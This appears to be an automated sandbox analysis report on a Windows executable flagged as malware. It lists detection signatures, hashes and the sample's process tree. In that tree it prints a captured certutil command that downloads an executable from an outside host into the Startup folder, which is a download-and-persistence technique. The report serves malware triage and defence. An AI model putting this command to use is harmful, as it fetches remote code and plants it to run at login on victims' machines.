Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    30/03/2025, 16:10

General

  • Target
    SecuriteInfo.com.FileRepMalware.24084.17571.exe
  • Size 672KB
  • Sample250330-tmp12sstaz
  • SHA256 c7ee4281e2017e08f5e2b3c7a4e82a872f0b5eed1ce6f522b14aa9f8e1112155
  • MD5 SHA1 SHA512 SSDEEP
Score
5/10

Malware Config

Signatures

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.FileRepMalware.24084.17571.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.FileRepMalware.24084.17571.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2652
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A8AE.tmp\A8AF.tmp\A8B0.bat C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.FileRepMalware.24084.17571.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2252
      • C:\Windows\system32\certutil.exe
        certutil -urlcache -split -f https://cdn-hsyq-dynamic-file.shanhutech.cn/home/bird/birdpaper_home.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1000.exe"
        3⤵
          PID:2168

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          A8B0.bat

          • Path C:\Users\Admin\AppData\Local\Temp\A8AE.tmp\A8AF.tmp\A8B0.bat
          • Size 1KB
          • SHA256 410ae2e5f22cd9dd9d9ed4b953d37ab55e022c27d0b2bec8523defce425b9de9
          • MD5 SHA1 SHA512

          memory/2652-0-0x0000000000400000-0x00000000004BA000-memory.dmp

          memory/2652-5-0x0000000000400000-0x00000000004BA000-memory.dmp